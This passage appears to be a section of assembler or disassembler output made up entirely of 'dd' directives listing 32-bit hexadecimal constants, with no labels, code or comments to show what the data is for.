0E1B167DCh, 16AA0187h, 0EC3CDD20h dd 57A17EE5h, 0E0FE1180h, 232D7D9Ah, 0C83DE201h, 588284E9h dd 0E8D99061h, 58715429h, 0DB01FACFh, 4B06591Bh, 0CAC6C79h dd 885D7A4Fh, 4D4E01B2h, 23EDB119h, 12CC29C2h, 7888E5EAh dd 0DF2881D5h, 0D4E962A3h, 0A850DE8Bh, 71CD40h, 0DF1C3CC5h dd 49E7ACF6h, 0CCAED094h, 0AB8CBB01h, 0E86D5035h, 6C20C5CDh dd 63B3A16Ch, 0FD18D429h, 0C3CAB869h, 35983400h, 0FF4FE10Ch dd 40C9007Ch, 53F41A95h, 1800E547h, 4D5E224Ah, 0F4C3E6Ch dd 443597EAh, 6700ADCEh, 0A096AABCh, 76533F00h, 93173079h dd 0C34B0045h, 2D05A911h, 11F9861h, 9943CA1Bh, 0A8A164F3h dd 0BA434E0h, 827AFB9Fh dd 0FCDAF784h, 0ACE400BDh, 35748103h, 0AE74FDh, 0FC895461h dd 75851552h, 1600A477h, 1979CC44h, 0C791DDh, 0F3C8C1ADh dd 0E93CD6EFh, 77B423Ch, 901AB150h, 756C3440h, 268D0FD9h dd 80AEE182h, 0C9F039C0h, 1C3A7732h, 0E6070B24h, 1F3300D2h dd 5C0F9Fh, 1B5A2BF0h, 615F0A19h, 0D688B000h, 990B8B20h dd 0ADA600B3h, 0FA901423h, 0C3015537h, 8DAEEFAFh, 0CBC835F8h dd 0BCEC03A6h, 0BDA1EE83h, 0E71047D8h, 0FB70C000h, 0F296F392h dd 91B700DEh, 1D609CCEh, 7D1E0195h, 0F3003F04h, 66A1378h dd 436C07BEh, 80CA4D21h, 0E8EA8941h, 1DBA5D2Ch, 18139E01h dd 642097C8h, 50551C04h, 0C1CC1C33h, 65F94799h, 0CA8FCF4h dd 0EB86C500h, 0BFE61001h, 0FFFD028Dh, 0F8192D20h, 7F94D60h dd 8F4F5A3Ch, 0C0B90E3Ch, 8C2BD8B6h, 0C9E3007Ch, 0A604428Bh dd 84175A78h, 0E8075324h, 4440BAB8h, 0E19F6Fh, 0E0CE9297h dd 0AABDD6C1h, 0F995FB00h, 54A70DE5h, 658E0FEDh, 6A00B3D2h dd 9E2A3BDAh, 633F600h, 72479D13h, 427C2Eh, 2139B70Eh dd 0CDC4CBF5h, 82E91E01h, 3277869h, 991BC88Eh, 48548BE0h dd 0B6006C7Ah, 0DD682C79h, 1431D913h, 0D4B532B2h, 45734909h dd 0CC2A9080h, 40C3816Ah, 0B9D08E43h, 63FC7C21h, 0D1A90131h dd 0A5D77442h, 32B5C0A1h, 0B056AD3Fh, 716E48BEh, 81C60108h dd 481FA19Eh, 0C29AEC3Eh, 0BA65DE00h, 170CBEE3h, 44210055h dd 0FC90D3B9h, 373AB41h, 0DD562700h, 1267B66Eh, 0E1260939h dd 6300963Eh, 846EF59h, 74C8760Ch, 18A06Fh, 0EC2CA7AEh dd 614B3413h, 3B3A6801h, 0CD9AE10Bh, 980EF0C7h, 6EA200A5h dd 0A3480A1Eh, 7C736125h, 72645Ch, 32E680F3h, 73A76279h dd 0FCFC6Bh, 0AD306D78h, 0B4CCFF37h, 4CB7210Eh, 89480D6h dd 4F325B9h, 956673D0h, 54A5800Ch, 1600045Ch, 7703FADAh dd 1DC6523h, 0B22F5930h, 40A33F83h, 574702B4h, 825CF4EEh dd 0CBE907AAh, 0F83CD5C6h, 0BB7000B9h, 76868381h, 0E8C0803Ch dd 4AD73FE8h, 8A0A0014h, 7E483A5Dh, 520046BCh, 17C4D370h dd 0FACA616h, 0A25EE3F9h, 872ACD03h, 0C15B5198h, 1D3F120Eh dd 9FF22024h, 0F04F5CC4h, 60A8608Bh, 3EB8C9B9h, 971C8703h dd 0C0BCE87Fh, 0A1498CB1h, 0B04302ECh, 36DAF089h, 0A8830EC4h dd 0FCA0F260h, 0C58B2E93h, 4D786700h, 8A2F9CCDh, 0A66000C2h dd 75A15C15h, 95003C69h, 9C64EB20h, 12345449h, 40DCC619h dd 0B0DF6534h, 0CF008531h, 0D0015EFFh, 27DFC54h, 533AD9D1h dd 0A480082Eh, 0F192ACE7h, 11078477h, 89E470BFh, 2DA0F4B7h dd 92C72956h, 0E0DE4868h, 339A200h, 4796B392h, 242B6006h dd 3B7946D6h, 459885EEh, 0E5E37002h, 0EF255003h, 0E06590CAh dd 3752FEh, 685FFCC3h, 0F1BA40F2h, 74893500h, 399C4E6Ah dd 0A4D30025h, 316F43F5h, 0C100B4FEh, 9245ADDCh, 1FE0B8DDh dd 4049594Ch, 0C05FD66Ah, 0FF2DC85h, 0B8054774h, 0A18FD4ADh dd 88809684h, 0F9DA2Eh, 0B4C98C39h, 0FA85C6F6h, 0CF216B0Eh dd 17BC27A0h, 0CD8CB2C0h, 7D64149Eh, 0ED01835Eh, 4BD68A3Eh dd 8BAAE09Dh, 4331DE01h, 12366547h, 0C09F9320h, 19486330h dd 0E890D423h, 9E133Eh, 0FA8FBCF5h, 78C3A84Eh, 0D3F2128Ch dd 650000AFh, 0CA35FFBBh, 0B3FE9F00h, 1D325985h, 19940F50h dd 34A0D407h, 467A7F7h, 883D8900h, 1F8012B6h, 750D00FBh dd 0BB8E874Ah, 0BC00C490h, 9AE47C2Dh, 187EA76Bh, 98500E4Eh dd 3D90B8E1h, 86E7F200h, 988424F4h, 14EFA5Ah, 0EEC982DFh dd 30FCB1EAh, 0BB2EE998h, 0AA046BCFh, 40D061C8h, 0FD054C4h dd 58869E18h, 95C69022h, 0FBB3F0A0h, 7A07694Ah, 0D76F7F33h dd 0BC91A5E4h, 95F0A0FEh, 0B4B7001Dh, 9932D007h, 8B4C2686h dd 76ED3E31h, 54D1AB00h, 0B6BD291Ch, 88C000A9h, 32E537D7h dd 0B8039036h, 0BEE838C7h, 4ADBE140h, 0C75174F8h, 0D71FAF20h dd 4A0591Ah, 0FA9AB6B5h, 40A748h, 0D4CC54BFh, 0A8A293h dd 8772F9E0h, 0F513810Dh, 0EAA1D20Eh, 9ACF83D0h, 80E682CBh dd 7593C5A0h, 90D92CCEh, 7B6300D6h, 570B0FBDh, 9803E773h dd 381CAAE0h, 640CB0E1h, 26E214F7h, 1B00B875h, 4EFD0453h dd 8E00253Ah, 0ACA1CECFh, 42E04Bh, 0AB70668Bh, 509D3428h dd 0F2AEF503h, 80A718D7h, 0B6D30Dh, 3A1FC98h, 155D1EC9h dd 44FA2973h, 0ECAFD103h, 9102A7C3h, 0ACEFF5C7h, 0A614F0C0h dd 3FCB0267h, 9FA1E37Dh, 0D6517CA0h, 682672EEh, 70000466h dd 6039867Eh, 6C7800A7h, 0DA718221h, 0D000AA3Dh, 430D31B9h dd 0F38E359h, 827EC719h, 0F92D220h, 0E2F2CEF5h, 9CA3BD00h dd 0C6D3090Eh, 4ED000D9h, 0E13B388Dh, 30E5C4FEh, 110060C4h dd 4A1601C8h, 0FCD9401Ah, 0AEA000CDh, 0F724879Bh, 53007EA2h dd 0A51E7BD0h, 0F4A7B941h, 0B3E513C0h, 0EFB00F7Fh, 316B19C2h dd 0D63D0DE0h, 5998E803h, 0D86128A3h, 0C0B1315h, 0BD6CE743h dd 5D24382Ch, 82805C0Eh, 415A21CCh, 118D00BBh, 56470AB9h dd 80001F32h, 3A53C7AFh, 1D8860h, 52C5DA7Ah, 18321341h dd 11C67530h, 39128561h, 5903D174h, 244FEF33h, 5E8DDD90h dd 3C398000h, 0C56D75B8h, 0B22A0059h, 34F05425h, 4B0E5D22h dd 14D773Ah, 0FDB6FA2Dh, 5BF98E0h, 66BBDBFEh, 929C00B0h dd 775E868Ah, 8E006490h, 8DDC52B2h, 63F32659h, 61BCD13Ch dd 71133020h, 3F5EE82Bh, 0E9007304h, 22AFDE90h, 0E83B51B2h dd 0B5368068h, 0B0D94392h, 48041F65h, 0B32D019Bh, 8A297F4Ah dd 30F82540h, 26B05A86h, 4FB30090h, 0DADF1510h, 6F2C3F52h dd 24985CB8h, 7C2B8020h, 0C6D5025h, 0B2053D2Ch, 0EA5DA880h dd 174C530Dh, 0CA3A403h, 9F833562h, 0F7247202h, 870EA9C0h dd 0FC5EC000h, 0AC9A9830h, 31500FAh, 911902D0h, 88004C90h dd 43FFCA7Fh, 1FE40BEBh, 40324126h, 3AD4D53Dh, 330F8CE8h dd 2D7D27h, 1DE623C3h, 889812h, 47922C31h, 7CBE6F8Fh, 0E93A0631h dd 0D6E8B469h, 52C2068Dh, 8F2C6B9h, 7B211260h, 976FECh dd 5437E1FFh, 8955FAA3h, 2F7D3503h, 99710F99h, 30806E25h dd 0AC87A026h, 20C43914h, 18120B5Dh, 0CB982148h, 73DEAB40h dd 6983E933h, 0B11E2B8Eh, 4AB8BCEBh, 0B0D3AFC1h, 0EC62F20Eh dd 0C8B4835h, 0B30EED49h, 0A700CD51h, 732B9179h, 632EB292h dd 4722087Bh, 5F782007h, 51F06579h, 941E0Fh, 0FECC5311h dd 0AFE633C3h, 2AA370C1h, 9048A5C8h, 0B07A8C80h, 0E28DDA10h dd 6FE887E0h, 0DE1BF600h, 393D8A50h, 437800D0h, 8D18293Fh dd 852DE66Ah, 60ADD849h, 724C867h, 1000A061h, 0CCE79DFFh dd 725A183Fh, 3C22EEB7h, 3500A8E6h, 0B96D1AE0h, 0B7B0B299h dd 57DD9F1Eh, 0F66ABC0h, 88C3F7h, 0B677FCB3h, 0E3F2D2BEh dd 72FAE407h, 0EC60FBD6h, 14F9DCh, 663A95DAh, 509CD9A2h dd 551DC67Dh, 9BCF9A5Ch, 0F3C460F8h, 814912h, 0B933FACh dd 774B10FFh, 8636C60Eh, 4E9A002Eh, 59C255h, 9D6D4128h dd 789889F1h, 3444A300h, 0A67BF294h, 2A010CF0h, 8234198Fh dd 28BF2000h, 0D353CB80h, 0B19C005Ch, 6C5ED722h, 0FC013458h dd 0E3EF7129h, 9AF9E0A4h, 0C84EE0EFh, 7DF2005Ah, 4F0C800Dh dd 0D800EEBCh, 11E4A903h, 0E64B2Ch, 0B39B6C65h, 14BC2D1Dh dd 8F7E9800h, 0C27FF3BEh, 0D81200B5h, 6C389A3Ah, 0CB008C47h dd 0C8E9B26Ah, 2773EE5h, 1026B189h, 0AC00D49h, 0BB002825h dd 0E62A6EF1h dd 74DC0A3h, 528DF75Dh, 7C195032h, 440E4192h, 0E0C2E4B2h dd 0DD158450h, 0F55E00CBh, 62E81BFh, 0B6004369h, 894A49EFh dd 507B3Ch, 1E46DD7Ch, 40E692B0h, 6E0C9E98h, 48C188DEh dd 2A290787h, 0E3F29998h, 49C06D12h, 64391BE2h, 0F000F9E0h dd 8E37BDCh, 3D021AB5h, 3F80189Bh, 50B76AF3h, 830159B6h dd 0FFBA6181h, 5880C31Eh, 7EE66F3Dh, 0D00ECEDh, 0CDC2F798h dd 2139C6h, 2EE7BAA8h, 0D1A5626Ch, 9FDABE00h, 6E2D3608h dd 1FCB0C85h, 0EE301939h, 0D368AE00h, 4791EBB2h, 4DE5011Bh dd 0FA776C67h, 2CC1700Ch, 3072DF00h, 9F341F59h, 11EA0020h dd 6E7FA592h, 74009DCAh, 3BAE90DDh, 650B8Ch, 0B1EED8FEh dd 8527CF50h, 0C28BDC00h, 0C8D6E53h, 6D8800AEh, 0B44889FAh dd 280C5FACh, 38FE23D5h, 0D9570045h, 0B2304B79h, 0C30C5A82h dd 4892A047h, 0CE3E1240h, 9D580002h, 67D01C45h, 51C7FD03h dd 9823CDBCh, 16C85h, 0A5E40E7Bh, 888D87DBh, 60A10730h dd 0E5117F2h, 7F91BCF4h, 9EF7520h, 0F000721Fh, 0A8BBD4B0h dd 0F767B4Eh, 4BBC0560h, 52D52540h, 3F14B3D0h, 0B41CBEh dd 0C26B2A19h, 0FEFB33B4h, 1B090086h, 8B5B4982h, 0B0C08D34h dd 5E59EC1Ch, 84EB0037h, 0D8ABB02Dh, 9C03D5F4h, 52C3FB5Ah dd 809800FFh, 0A0C92C72h, 780082BCh, 0C0A3275h, 594E7F5h dd 0ED26D9Ch, 675C067Eh, 0EC00A620h, 44CBB5EBh, 2FB1B8h dd 3054BF80h, 79C1271h, 53A2B00h, 98168657h, 0CC553770h dd 0BCA730C0h, 0E6122CE1h, 0FE07A12Eh, 0E9D08EE5h, 0E072A62Fh dd 54660E96h, 18409915h, 0BD94CC23h, 0B2814707h, 8960DD36h dd 1B9F6B3h, 5BF5F4A6h, 806331E2h, 0C11A0D0h, 240777F0h dd 9E34C9A4h, 8AB143B7h, 0F9006C23h, 6092EAB3h, 7F3E4Eh dd 483822ADh, 0BCFC0919h, 1F009B7Bh, 0DBB2B156h, 0F3B6DEh dd 92059815h, 0B352FFF9h, 792E1C00h, 59DC866Eh, 8B1724A7h dd 0AC6A4070h, 0B9540E54h, 0D0E02DECh, 8C90A2E2h, 0C80FB373h dd 0E0B19EE2h, 0F63A1768h, 438024F9h, 905100D0h, 2D74655Dh dd 2200CC7Eh, 0BAFF61A7h, 1D9224DBh, 0C0961F14h, 5ED055A0h dd 9E00F706h, 0D3B92660h, 9D3EABh, 0B7BC4AD1h, 6A8D7E3h dd 0C0701500h, 59E119CEh, 6D4405E8h, 800E754Ch, 0B185EC8Dh dd 50305500h, 23C7A001h, 28C3008Ch, 0E5822F09h, 9A0A31F7h dd 0E4CB4D47h, 95BF803Bh, 70A92DDEh, 58DC000Fh, 0A773A34Bh dd 212E1E0h, 0FA005C26h, 6C601C8h, 0E950C0Ch, 4EA44BACh dd 0FA7C000h, 0D471E3B3h, 382A0121h, 97E1D9C9h, 8B3EECBCh dd 435927h, 2F272008h, 0F1290078h, 6CB0B9F5h, 400321Fh dd 0EFEB2E9h, 0A03860CBh, 0DA46C0h, 0F1A59F25h, 80689828h dd 6C862204h, 9080937Bh, 24BB2A0Fh, 82F055ABh, 5BC0CBFCh dd 0E0E25C68h, 1EA8960Ch, 713189h, 0FBEE97EBh, 0F01BCC34h dd 0EAD44C0Fh, 11F1AC17h, 8EEE0030h, 5B7407C4h, 19C0D259h dd 0FB4478E6h, 618660A1h, 378A3E7Dh, 0CE6FB4C0h, 251CFC6h dd 7BC4F86Dh, 0FC803D74h, 0C710B6DDh, 0E758D90Dh, 6BC0F838h dd 0E377FCh, 2156F5Eh, 0B2D4F4ADh, 0F3E17300h, 862D0592h dd 2E870199h, 8C7B4BF0h, 0BB1420A7h, 82B65324h, 0AA3EF500h dd 0B9FD0Fh, 9DE60172h, 0F32A3FF7h, 0ED43DB1Ch, 300032D2h dd 4C4F184Ah, 0A2FA00E5h, 94D0D28Bh, 72008D46h, 2D5016E8h dd 688685h, 0BFC6DA93h, 0A1C5B764h, 0C0007B7Ch, 3BA6AACh dd 0C6576h, 878C5A38h, 66FF7168h, 5F21A500h, 286B7EC7h dd 0D85E0063h, 3E9BCB2h, 0E80F2429h, 81B45F0Bh, 0E716058Fh dd 94484DCDh, 97760080h, 74B9F9C6h, 11008F26h, 0E3F46336h dd 797C7D8Eh, 0F54900DCh, 5379C484h, 0E8E7CD04h, 0DA003DB1h dd 0FD60719Eh, 1F1A7Eh, 0F64F66F9h, 0E299279h, 20E29D00h dd 0C0BA6B9Bh, 977F03A0h, 76CFBE62h, 8956B8F0h, 0FFA58800h dd 9FA90483h, 540A4CCEh, 0DA793501h, 243E2FEFh, 1200AB48h dd 4F84E1F5h, 121F3B1h, 886B4C81h, 0D87698DDh, 6C005A7Bh dd 78EFDC8Ah, 0B04E1E4Dh, 0EE513086h, 39AF8410h, 8EDF8D03h dd 0E9923680h, 48C41270h, 83C89008h, 601011FAh, 22C120B6h dd 0A97FEBB8h, 65F30409h, 18BC004Bh, 30EFDE02h, 8CA93258h dd 0B80F41B9h, 23E7103Bh, 0C2116BF4h, 1E43400Fh, 26BC008Ah dd 0B6FBC552h, 0DC522218h, 31630020h, 0B050520Dh, 12F005FCh dd 9398CBC7h, 7004745Ch, 3AF21AC0h, 5434061Fh, 96CA38BAh dd 0BC000CF3h, 55B598C4h, 0DFE100A5h, 9D82C33Eh, 42006557h dd 0E4906074h, 7C04B3F8h, 11190056h, 80437B0Dh, 0E6004DCEh dd 0B7CC8ABh, 0F0E2E774h, 2331C10h, 0DEF4018h, 702FA757h dd 28500100h, 9C1C4DE3h, 6A4F00AEh, 0E5FBF8B5h, 1000E237h dd 0FE3E3AA6h, 47E472h, 44FC8B4Ah, 0BDBE150Ah, 0DDBC7100h dd 9C24055Dh, 8EE80043h, 1FFE1361h, 0B7EA80C1h, 0D94E1503h dd 3323D0Bh, 0E38D86A4h, 0A8A39ED1h, 0F8B94280h, 5400E77Dh dd 5F6808A2h, 1D029855h, 0C791B57Eh, 90DE0B73h, 0A8FC051h dd 0D1FEDF3Ch, 3EB7C894h, 277D2000h, 0E5C855C3h, 0E912035Fh dd 313C9A2Eh, 0FD188085h, 7F00BD0Fh, 36A5185Eh, 2EC5D115h dd 7AEF0Eh, 0AB35AF24h, 0B37B8439h, 56E1D000h, 0F23F0F3h dd 375D00D5h, 0A42F359Ah, 1207E343h, 7AB36D45h, 16F78100h dd 0A16900F9h, 9331883Ah, 7D04C125h, 29F13645h, 0ADD1A0C0h dd 71F4FFh, 0C201C6A8h, 0F70BD81Ah, 8048C500h, 694DB264h dd 0D96B07BFh, 0E01AC69Dh, 0B62FA6CBh, 125B0C00h, 2910C92Dh dd 72AF001Ch, 77F521BEh, 7975189Dh, 13D22C00h, 3562CA78h dd 2AF60010h, 398FDC59h, 37607BFDh, 51747688h, 802B003Ch dd 0BF8D7ADDh, 0B004429h, 0C203553Bh, 2C12CF9Dh, 90D173h dd 0D2F96517h, 40CF364Ah, 93B46015h, 324FB1F6h, 72195083h dd 660218E0h, 78BA5Ch, 0B7CA4449h, 92E0D692h, 210F0080h dd 0BB3B1784h, 660FE84Ch, 0E54D8C42h, 0C809BE9h, 2632079h dd 856FE4CEh, 28E446CBh, 5F623F0Fh, 0FBF1C09Dh, 1E6B53Eh dd 8F676028h, 0E3B2936Ah, 52A935BBh, 0C2C66057h, 16C098DFh dd 9E55DD29h, 0B1B50BC3h, 80870F7Eh, 30A37721h, 0CE025B49h dd 68418E00h, 1BA1C07Bh, 0B0B7F86h, 0A82DD075h, 0D0CCD892h dd 0AC09AD78h, 4187D5B4h, 0CBCC7BB0h, 0A3DD00F9h, 202A5F8Bh dd 16001EFDh, 0E8D39CDEh, 55CCC9Bh, 7C3FB248h, 0FC8C4109h dd 0DC147B6Bh, 0C200C3A0h, 84544B7Fh, 38E8B756h, 0D9876E5Fh dd 0B0246160h, 287D151Bh, 0DCC83000h, 3CC5D7C0h, 0F698CCh dd 1B1E6282h, 0BED32371h, 815A1428h, 4FA56C03h, 9086ACD7h dd 4833681Ah, 2401C650h, 7E3AD657h, 0DBFDD029h, 91CB8B28h dd 0DEBC1A50h, 55FAD00h, 0F895B4BCh, 0C9E616h, 3FEB0CA1h dd 46F6EFE2h, 0E7904800h, 7A124B78h, 42BB2E2Ch, 3AAC852Ch dd 11CFC60Fh, 0BF501000h, 68AE2EBCh, 395C17DAh, 4144AD3h dd 9A2000ACh, 0DC0DBDA8h, 0C749h, 0B6784791h, 6095E983h dd 5DD731E3h, 0B4000B3Bh, 0F988BF56h, 8F3EF3h, 25FF356Dh dd 0DA1270Fh, 3C54FC2Eh, 0A34CF83h, 4441007Ch, 0E34E9B9Ah dd 0B30072F8h, 14E7B920h, 0DCFF4Ah, 0E6041899h, 68C129A9h dd 0F302DE1Dh, 0F2874BC0h, 0DDA456h, 0AA041595h, 0FC695C58h dd 7A0BD607h, 0C627EFF7h, 84BBD890h, 0B0E9008Dh, 731033F8h dd 58F8CC27h, 20425907h dd 6825D054h, 0A1BFA5C0h, 0A7320041h, 8C1D44F5h, 0FD0355A0h dd 89A8C88Fh, 0E4312E12h, 0D5F50CA8h, 0AC08A011h, 83484AB7h dd 0F00AEEF7h, 5BF5D5A0h, 2DFC5A00h, 4763E2EDh, 99543C61h dd 406F491Ch, 37AB8C3Ah, 643C4592h, 0BBE70197h, 5826ED80h dd 39CD8870h, 0AE009F0Dh, 303BEFF5h, 24155F2Ch, 2D0F740h dd 5D906BAAh, 0AFACA02Ah, 24A6365h, 0D3FCFFCEh, 0E8E0898Fh dd 0B700D43Dh, 22B18BF0h, 1C526FFBh, 8092AC79h, 9559976Dh dd 8A7D03B4h, 474C8300h, 5E934380h, 97DA0B37h, 0A980213Fh dd 83D8AF44h, 69349902h, 0E0D96AB1h, 70203CF0h, 5B1B0CA2h dd 0BE30966Fh, 0AB02C700h, 0FF73E0C2h, 80F21E89h, 1B92CDh dd 3B12370h, 460EA8ADh, 43B79C0h, 18905795h, 21B72D6h dd 1D82587Dh, 39C0FC21h, 0E8C04FC7h, 0A8CA29B0h, 8D11C065h dd 391A6807h, 8B4988h, 0CC7D9AD1h, 0B0CBFCECh, 0F9101B09h dd 882981F5h, 2FF9EB62h, 9304830h, 4B169EECh, 0E99407h dd 55498E5Ah, 22286601h, 0D5C78AA0h, 44709828h, 6B03CB4Dh dd 2468144Ah, 58DBC8AAh, 71DD009Eh, 9623E7D8h, 0F900E108h dd 5659F788h, 0A216BB9h, 0CE8E80C2h, 1141E9Ch, 0F5F0E27Eh dd 0E4C06EBBh, 31723FDh, 0F8D29FDFh, 92A099CDh, 1200D4F3h dd 0C3FE32Fh, 0CEF5F1h, 997734C3h, 7CBEE89Ah, 366B8400h dd 23A6F8BCh, 859000A9h, 0C39FEDD9h, 0F778E203h, 0F41C2400h dd 38E5E4A5h, 82FA1840h, 7B6A80E9h, 2B242A0Bh, 19A02C7Eh dd 688F125Fh, 4670006Dh, 1B148D76h, 0D9F7CB00h, 0B2C2DBD1h dd 670D0039h, 0EF86E212h, 20606B46h, 2E77B8C9h, 87DA13F0h dd 0F81C0085h, 0E32A1159h, 0C9DE4800h, 0B58F5E29h, 0EB3103DBh dd 6F444DA1h, 3E747AA8h, 75842509h, 3E00552Ch, 0BD53E5EAh dd 3D2619FEh, 47801893h, 451ABFBEh, 722A0EA1h, 739738h dd 221BEDF7h, 9F03DDB1h, 0CAF753B5h, 3CCCA01Ah, 738C057Dh dd 0C34859h, 0D67B0BFh, 1D03FAACh, 7405ED45h, 0BCC7C8B3h dd 6E710085h, 0F55A9BADh, 0D8001C21h, 2EA488EAh, 1E414E7Bh dd 3F92DC76h, 61F22900h, 4BEF247Ch, 0B27D5E00h, 1B2FCD9Eh dd 0DBA00207h, 3F18FD0Ah, 8481B0C8h, 0CC2E414Ah, 0A4E3C784h dd 8780527Ch, 0F2471077h, 3AC07C06h, 0B91C3332h, 8802293Ah dd 0AEEE8910h, 0EDB5AC48h, 0BFE1A600h, 9C25A53Dh, 1F18DE99h dd 5E3000E5h, 77F47CAEh, 3EBC0407h, 0E920437Ah, 5CE42D47h dd 0A60025EFh, 0DEB93B78h, 5900E307h, 5EE4369h, 38BFB186h dd 0A6802914h, 0CA09221Fh, 5B0F67F3h, 31D53h, 35D00C9Fh dd 23D1002Ah, 835FA644h, 0DCE2BF87h, 0A374C106h, 0E300855h dd 20148996h, 401D3C8Fh, 74C72A01h, 5C0775CEh, 0A75B1CFCh dd 6C11E210h, 0CA4B000Ah, 99A0135Dh, 315C441Ah, 819700A9h dd 0B3FD2AC5h, 644C0B1h, 96E163A6h, 0C7451600h, 0DD1DC687h dd 0E6D400ACh, 0EE7CAA38h, 0B80094E5h, 0BD7F5434h, 335C48Bh dd 0C61BDD07h, 0A0002614h, 42E3B33Ch, 0CE14C44h, 0DFD40923h dd 1B60BB08h, 42ED9320h, 3AE7785h, 0A8ACA9B7h, 95C05A41h dd 0BFF0BE03h, 0DA072A0Fh, 40FB2046h, 3D178D7Eh, 3B1EC7C1h dd 0A979253h, 87842125h, 0B4D03FBDh, 0BFB68014h, 8CCC89Ch dd 0DD2128h, 0A50FCFC7h, 9BDB6D03h, 62CEA90Fh, 0C886E0C2h dd 0D07291Ch, 5F461782h, 1D398E88h, 75048764h, 0B53611ECh dd 8140BD0Fh, 486B219Fh, 3DF408C6h, 5A2B0020h, 318BEFE6h dd 0B603421Fh, 0C34E2A4Ah, 68580026h, 3B5A7E89h, 9E0130E4h dd 1AC11827h, 28F4D212h, 53920388h, 850578FCh, 1387100Fh dd 0D3B407Bh, 4674A2h, 1BE7503Fh, 0D4935A76h, 0E310B300h dd 0E48E2A6Ch, 9A3900ECh, 38440F3h, 4001FEEh, 0BD07CD10h dd 0E0D5A0Ah, 5E69E378h, 0CC141340h, 0CF03E174h, 310AB5Dh dd 6572A81Bh, 0C5070002h, 31AA634Ch, 0E500C723h, 0C16E75E4h dd 7012830h, 0EB7D818Bh, 3BA75044h, 0E4F57A27h, 1200192Ch dd 39CC4ADAh, 0FC1F03h, 0CB52E601h, 0DF416910h, 8053883Ch dd 0D6B2463Dh, 4E5CDCh, 3C7034E4h, 8BCAE284h, 372DB000h dd 80EC96D8h, 5B9000B9h, 146C1D7Bh, 0A300AC7Ah, 0EBA888F6h dd 4726A7h, 3256500Bh, 7984148Ah, 42D5EE00h, 311B22DDh dd 8E4006Bh, 47942BA2h, 4DFCCE19h, 80E60539h, 723B6CD8h dd 7E5821E5h, 0E74A111Dh, 6A007A7Eh, 0EA16EBADh, 3CD6E4Ch dd 0FDA4D26h, 8AC18486h, 0D02F2018h, 30C5B700h, 0B5E4037Fh dd 327E00CBh, 2D856DD7h, 0AA7CAF7Bh, 80198707h, 58507427h dd 796EA123h, 33AB0164h, 0FE0A463Fh, 0E53ECC04h, 0D731E300h dd 741F2D63h, 0AA9A0EF2h, 2000F162h, 3D7A3841h, 0C88ED51Fh dd 0DF100700h, 1E4DE54Ch, 4CE26706h, 75104B85h, 0AE00E179h dd 81DB40DEh, 0DA777h, 244A047Fh, 0C87C2EBBh, 28904300h dd 0CCE55B58h, 6D0800E2h, 0CFD78260h, 570705A7h, 93FDDF61h dd 0E9A63h, 4A435F40h, 2FFC4573h, 7632917h, 1A81709h, 0C0F3941h dd 90BD10DCh, 0FFEC00B8h, 0B76901BFh, 5F260D11h, 3E00AD1Ah dd 8813FDCFh, 71784CFFh, 31FB07Bh, 5A94853h, 0ABF8D403h dd 4B00227Fh, 74F71629h, 0FA085F2Ch, 463E1F1Ch, 1476CF32h dd 9FA464A0h, 0F1000473h, 4D3CAC09h, 18C57251h, 0D083D01Eh dd 163A372Ch, 560C1F10h, 0C8C7E9DCh, 3B80B211h, 0F3632C1h dd 2ADBBA03h, 99C585h, 37CD2EA4h, 0A0EA8CAFh, 0B3125090h dd 700071FFh, 20BFD2D8h, 699C0FB2h, 0BB2090EEh, 0E061C649h dd 9F8DC01Dh, 0A4800BDh, 6CF87331h, 0DE380052h, 0EF5A8AFFh dd 5F010737h, 263A5B0Dh, 51EDED59h, 3BF19620h, 0FCCB46F4h dd 493F7BF9h, 0A13400C7h, 0D762D179h, 1E260040h, 3BEF6EF5h dd 0A90A707Bh, 0D4091281h, 0AD25FF81h, 0D1DC3438h, 0D07260BCh dd 0E62D99C9h, 0A5B6CF00h, 13C1D0A0h, 96A6305Dh, 732FEE6Ch dd 0E7AFD400h, 2DE59734h, 750D002Eh, 0CC3B089Ah, 0C0A8DD13h dd 3F0037F7h, 0E4FD2CA6h, 0E8B4E17Ah, 1098482Dh, 3B62409Eh dd 596D2E11h, 0A90F2C92h, 0C47DAAFFh, 409336B0h, 243CA099h dd 62B602F9h, 59FDEB03h, 0A28D5840h, 761C4677h, 2D80CB1Eh dd 0A7EE563Bh, 8EAB009Fh, 0DE698DE9h, 19EA5145h, 9886853Dh dd 965892E7h, 7DE300B5h, 9C9D05C2h, 0E17801D8h, 0A0D7371Eh dd 2BC91280h, 4C17F7h, 489585E2h, 109104D0h, 58624400h dd 0F66CE5E9h, 0A8BD1D23h, 0EABB409Eh, 0CDF83F2Bh, 0AF956400h dd 0B1A6E7A3h, 98B20EF3h, 0FF0122BBh, 0D86FEDB8h, 0BC0FC590h dd 405C9B8Dh, 1F7F5ED6h, 0DBB71FE8h, 6F06409Ah, 630D4E25h dd 0F4D1D907h, 957056F6h, 1F47BAA5h, 8238A1h, 0C37BE7E4h dd 7D000328h, 5D3AFB4Bh, 32749C6h, 0B29157D8h, 49057BE8h dd 89A3AA86h, 0A4EDFA80h, 129A00C4h, 58E9B013h, 0E2FC231Ah dd 75F89E06h, 103A26h, 0DD66B625h, 0EB4F622Dh, 0EDE22201h dd 1AADCC6Dh, 0AAF4D4h, 945ABDB0h, 6E045CF0h, 1E7DC700h dd 66EF2F68h, 0D931C026h, 43292296h, 75100100h, 711EB9C2h dd 2D780020h, 1680E772h, 0B8175853h, 0F4008FA8h, 9D140663h dd 7FB70279h, 1C204111h, 4BC0D8AFh, 56AE4AD4h, 0FE2FB0A0h dd 0DAB07F00h, 0CABA8896h, 2B400C7Ah, 628053FBh, 3D00D3E2h dd 20A56C86h, 0B3546h, 0AD755AEAh, 6EC3C5B4h, 55C2C400h dd 0D08BF863h, 0D6CD0EE4h, 11B86CA9h, 0B8004AF1h, 0E2312FA1h dd 1C7C1593h dd 0C16A504Dh, 0DDD59D3Ch, 5629E0AEh, 17045Ch, 23209657h dd 20C7E42h, 78E6F7D3h, 1DFA264h, 1CE2EB12h, 216B1192h dd 7036A500h, 0A000DFB4h, 922E79BBh, 3B7BAACh, 7D489DAEh dd 9A9B0C4Dh, 73445188h, 0B6B57603h, 0E8B06989h, 0CB78703h dd 0C2465D39h, 78BDF168h, 0E9C2Eh, 50E7118Fh, 62507985h dd 4E00CFA8h, 0A03B9DD4h, 25FEBh, 1D18CDBEh, 12E04847h dd 28645500h, 8EB2AA57h, 0A9292456h, 8B230380h, 0D7C088E4h dd 1008381h, 0EFC0CF3Bh, 300AE18Ah, 3B87685h, 0CC0BEC7Fh dd 14E74A7h, 961A7DC2h, 784209D8h, 389265D8h, 892F8076h dd 0E4A05CE6h, 58012D66h, 